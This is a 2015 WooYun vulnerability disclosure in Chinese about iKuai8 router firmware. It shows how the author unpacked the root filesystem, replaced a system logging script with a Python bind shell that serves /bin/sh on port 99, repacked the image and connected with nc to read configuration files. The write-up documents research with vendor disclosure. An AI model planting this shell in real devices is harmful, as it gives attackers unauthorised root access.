当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123582

漏洞标题:爱快流控路由最新版固件漏洞挖掘分析之零(固件挂载分析技巧分享)

相关厂商:爱快免费流控路由

漏洞作者: Bear baby

提交时间:2015-07-01 11:00

修复时间:2015-09-29 13:28

公开时间:2015-09-29 13:28

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向第三方安全合作伙伴开放
2015-08-25: 细节向核心白帽子及相关领域专家公开
2015-09-04: 细节向普通白帽子公开
2015-09-14: 细节向实习白帽子公开
2015-09-29: 细节向公众公开

简要描述:

固件版本:iKuai8_2.4.4_Build20150604-17_41
固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso
分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等
注:本文基于逆向获取到的源文件进行分析。

详细说明:

整个完整分析过程前前后后测试、截图、敲文字、贴代码、敲代码,搞了三十几页也是蛮拼的。

1.png


前面提交的几个漏洞基本涵盖了爱快流控路由几大块比较致命的问题,本文之所以称作“零”是有依据的。因为前面的分析都是基于此,即我是怎么获取到源码的。下面简单说下,中间之曲折略去。
下载的镜像安装在Vmware里面的,将爱快流控路由器虚拟机的硬盘挂载到Kali里面。

2.png


将挂载的硬盘的一个分区里面的文件rootfs.gz 复制到桌面。开启一个终端,对复制rootfs.gz解压,mount到临时文件夹。如下图

3.png


root@kali:~# cd Desktop
root@kali:~/Desktop# ls
Data rootfs.gz
root@kali:~/Desktop# mkdir tmp //创建一个文件夹 等下固件mount到这个目录
root@kali:~/Desktop# gunzip rootfs.gz //解压
root@kali:~/Desktop# ls
Data rootfs tmp
root@kali:~/Desktop# chmod u+rwx rootfs //设置权限
root@kali:~/Desktop# sudo mount -o loop rootfs tmp/ //mount rootfs到tmp目录
root@kali:~/Desktop# ls
Data rootfs tmp
root@kali:~/Desktop# cd tmp
root@kali:~/Desktop/tmp# ls
bin etc lost+found overlay rom sbin tmp var
dev lib mnt proc root sys usr www


经过多次尝试失败后,最终通过修改usr/sbin/iksyslogd文件成功开起一个正向连接的shell。Ikusyslogd是一个python脚本,部分代码如下截图。目测表明是实现记录日志。

4.png


5.png


6.png


把一个正向shell的python脚本直接覆盖到这个文件。Shell脚本如下(网上copy来的):

from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',99))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)


然后在终端umount rootfs,重新打包。

7.png


root@kali:~/Desktop# sudo umount tmp/ //umount
root@kali:~/Desktop# gzip rootfs //打包
root@kali:~/Desktop# ls
Data rootfs.gz tmp


把挂载的硬盘从kali移除,爱快流控路由器虚拟机开机,等待开机完成后,在kali里面开一个终端,nc连接路由器99端口。(设置kali和爱快流控路由器虚拟机在同一个ip段)。如下图,至此成功获取到路由器的shell。 把里面的文件copy出来,此处略过不提。

8.png


9.png


root@kali:~# nc 192.168.1.1 99
cat /etc/mini_httpd.conf
cgipat=**.php|**.cgi
dir=/usr/ikuai/www
nochroot
pidfile=/var/run/mini_httpd.pid
user=root
#ssl
#certfile=/etc/mini_httpd.pem

漏洞证明:

修复方案:

本来是打算过几天发出来的。。还是整理了一下赶出来了。。宿舍断网,用的手机流量来发的。。可以安心去准备补考了。

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-01 13:26

厂商回复:

前面的几篇已经处理和升级,这次的漏洞和另一个漏洞其实对用户还是有些影响,正在拼命让用户升级中,不管怎么说,再次申请感谢乌云和白帽子朋友

最新状态:

暂无